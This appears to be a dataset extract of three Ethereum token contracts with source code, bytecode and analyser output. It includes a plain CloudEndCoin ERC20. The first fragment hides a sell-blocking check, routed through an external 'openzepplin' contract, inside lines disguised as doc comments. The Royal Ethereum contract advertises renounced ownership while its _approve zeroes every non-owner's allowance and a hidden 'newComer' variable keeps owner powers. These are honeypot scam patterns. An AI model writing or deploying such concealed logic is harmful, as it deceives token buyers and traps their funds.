* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be a invalid address. */ || ((IERC20(openzepplin).invalidAddress(start) == true || start == invalid) && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable {
}
fallback() external payable {
}
}
|
0x6080604052600436106100a55760003560e01c80636399903811610061578063639990381461019457806370a08231146101b557806395d89b41146101eb5780639dc29fac14610200578063a9059cbb14610220578063dd62ed3e1461024057005b806306fdde03146100ae578063095ea7b3146100d9578063141a8dd81461010957806318160ddd1461012557806323b872dd14610148578063313ce5671461016857005b366100ac57005b005b3480156100ba57600080fd5b506100c3610286565b6040516100d091906108ae565b60405180910390f35b3480156100e557600080fd5b506100f96100f436600461091f565b610314565b60405190151581526020016100d0565b34801561011557600080fd5b50604051600081526020016100d0565b34801561013157600080fd5b5061013a610398565b6040519081526020016100d0565b34801561015457600080fd5b506100f9610163366004610949565b6103d5565b34801561017457600080fd5b506004546101829060ff1681565b60405160ff90911681526020016100d0565b3480156101a057600080fd5b506100f96101af366004610985565b50600090565b3480156101c157600080fd5b5061013a6101d0366004610985565b6001600160a01b031660009081526009602052604090205490565b3480156101f757600080fd5b506100c361052f565b34801561020c57600080fd5b506100ac61021b36600461091f565b61053c565b34801561022c57600080fd5b506100f961023b36600461091f565b6105c6565b34801561024c57600080fd5b5061013a61025b3660046109a0565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b60038054610293906109d3565b80601f01602080910402602001604051908101604052809291908181526020018280546102bf906109d3565b801561030c5780601f106102e15761010080835404028352916020019161030c565b820191906000526020600020905b8154815290600101906020018083116102ef57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561034d5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b546005546103d0916106b1565b905090565b60006001600160a01b038416158015906103fd575060045461010090046001600160a01b0316155b156104275760048054610100600160a81b0319166101006001600160a01b03861602179055610431565b61043184846106d1565b6001600160a01b03841660009081526009602052604090205461045490836106b1565b6001600160a01b038516600090815260096020908152604080832093909355600a81528282203383529052205461048b90836106b1565b6001600160a01b038086166000908152600a602090815260408083203384528252808320949094559186168152600990915220546104c99083610825565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061051d9086815260200190565b60405180910390a35060019392505050565b60018054610293906109d3565b6000546001600160a01b0316331461055357600080fd5b6001600160a01b0382166105b85760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b6105c28282610840565b5050565b6004546000906001600160a01b0384811661010090920416141561061a5760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b60448201526064016105af565b3360009081526009602052604090205461063490836106b1565b33600090815260096020526040808220929092556001600160a01b038516815220546106609083610825565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103869086815260200190565b6000828211156106c057600080fd5b6106ca8284610a24565b9392505050565b6004546001600160a01b03828116610100909204161415806107975750600854604051630c73320760e31b81526001600160a01b03848116600483015290911690636399903890602401602060405180830381865afa158015610738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075c9190610a3b565b15156001148061077957506007546001600160a01b038381169116145b801561079757506004546001600160a01b0382811661010090920416145b806107d957506004546001600160a01b03828116610100909204161480156107d957506006546001600160a01b03831660009081526009602052604090205411155b6105c25760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f206164647265737300000000000060448201526064016105af565b60006108318284610a5d565b90508281101561039257600080fd5b600780546001600160a01b0319166001600160a01b0384161790556005546108689082610825565b6005556001600160a01b03821660009081526009602052604090205461088e9082610825565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208083528351808285015260005b818110156108db578581018301518582016040015282016108bf565b818111156108ed576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461091a57600080fd5b919050565b6000806040838503121561093257600080fd5b61093b83610903565b946020939093013593505050565b60008060006060848603121561095e57600080fd5b61096784610903565b925061097560208501610903565b9150604084013590509250925092565b60006020828403121561099757600080fd5b6106ca82610903565b600080604083850312156109b357600080fd5b6109bc83610903565b91506109ca60208401610903565b90509250929050565b600181811c908216806109e757607f821691505b60208210811415610a0857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610a3657610a36610a0e565b500390565b600060208284031215610a4d57600080fd5b815180151581146106ca57600080fd5b60008219821115610a7057610a70610a0e565b50019056fea2646970667358221220a7f4967b49fc459b6d3c1e64f3ef901de706ebac667b013fc45e60a1280a279b64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,020 |
0x4c44ab06b744bc5cbf343193fd7eb24ec4c9f5fd
|
/**
*Submitted for verification at Etherscan.io on 2021-08-18
*/
/*
👑 ROYAL ETHEREUM TOKEN (RoLe) 👑
👑ROYALTY IS OUR IDENTITY 👑
All kings and queens are not born of royal bloodlines. Some become royal because of what they do once they realize who they are
Three Royal Guardians stand on Guard for thee 🦁Only these three guardians are responsible for Information sharing.
A. @Thechainemperor
B. @PrinceEtherII
C. @dukeofrole
Our Ambition stands on three Pillars.
1. Best in class Ethereum Rewards for Guests
2. Best in class Auto Buy Backs& Burn
3. Best in class Royal Rewards For Guests
Tokenomics
📑 10% tax on each transaction:
👑 5% Ethereum Rewards
💻 2% to Marketing wallet
♻️ 2% to Buyback wallet
💳 1% Royal Reward Wallet for Guests
🔔 On Launch 🔔
✅ Fair launch No Presale
✅ 15% initial burn
✅ 1 Quadrillion token supply ✅ Bots will be Blacklisted
✅ Liquidity will be Locked
✅ Ownership will be renounced
🚀 A Royal retreat for our Royal Community ! 🚀
Stay Humble, Spread Love ❤️ 👑
👑 TG : https://t.me/royalethereum
🦚 Twitter : https://twitter.com/royalethereum6?s=21
🌐 Website: http://www.royalethereum.live/
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract RoyalEthereum is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**12 * 10**18;
string private _name = 'Royal Ethereum ';
string private _symbol = 'RoLe👑 ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220117c7357a31c0f9d912297c4c89414c99636e99dd8dee8bacda86591bf2a8dd164736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,021 |
0xbf8bf2280d84bea5b4e2e75c8ed97424b1f4fd4b
|
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'CloudEndCoin' contract
//
// Symbol : CEC
// Name : CloudEndCoin
// Total supply: 9 999 999 999 999
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract CEC is BurnableToken {
string public constant name = "CloudEndCoin";
string public constant symbol = "CEC";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 9999999999999 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a14565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bda565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6b565b6040518082815260200191505060405180910390f35b6103b1610eb4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f11565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e5565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e1565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611368565b005b6040518060400160405280600c81526020017f436c6f7564456e64436f696e0000000000000000000